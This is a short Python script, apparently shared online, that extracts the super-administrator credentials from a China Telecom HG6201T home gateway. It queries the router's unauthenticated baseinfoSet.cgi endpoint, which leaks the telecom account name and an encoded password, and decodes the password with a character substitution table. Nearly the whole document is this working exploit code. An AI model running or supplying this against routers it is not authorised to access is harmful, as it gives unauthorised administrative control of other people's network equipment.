天翼网关获取超级管理员密码

getsuperpasswd_HG6201T.py

#!python

import urllib.request
import json


def cal_pass(enc_pass: str, map_str: str):
    map_dict = dict()
    for line in map_str.splitlines():
        if line == "":
            continue
        [k, v] = line.split()
        map_dict[k] = v

    dec_pass = ""
    for s in enc_pass.split("&"):
        if s == "":
            continue
        dec_pass += map_dict[s]
    return dec_pass


# ref: https://www.cnblogs.com/xiangxisheng/p/17902877.html
map_str = """
46 .
47 /
48 0
49 1
50 2
51 3
52 4
53 5
54 6
55 7
56 8
57 9
58 :
59 ;
60 <
61 =
62 >
63 ?
64 @
65 W
66 X
67 Y
68 Z
69 A
70 B
71 C
72 D
73 E
74 F
75 G
76 H
77 I
78 J
79 K
80 L
81 M
82 N
83 O
84 P
85 Q
86 R
87 S
88 T
89 U
90 V
91 [
92 \\
93 ]
94 ^
95 _
96 `
97 w
98 x
99 y
100 z
101 a
102 b
103 c
104 d
105 e
106 f
107 g
108 h
109 i
110 j
111 k
112 l
113 m
114 n
115 o
116 p
117 q
118 r
119 s
120 t
121 u
122 v
123 {
124 |
"""


if __name__ == "__main__":
    route_host = "http://192.168.1.1:8080"
    leak_url = route_host + "/cgi-bin/baseinfoSet.cgi"

    with urllib.request.urlopen(leak_url) as response:
        response_text = response.read().decode("utf-8")
        data = json.loads(response_text)
        info = data["BASEINFOSET"]
        username = info["baseinfoSet_TELECOMACCOUNT"]
        enc_pass = info["baseinfoSet_TELECOMPASSWORD"]
        print(f"username: {username}\npassword: {cal_pass(enc_pass, map_str)}")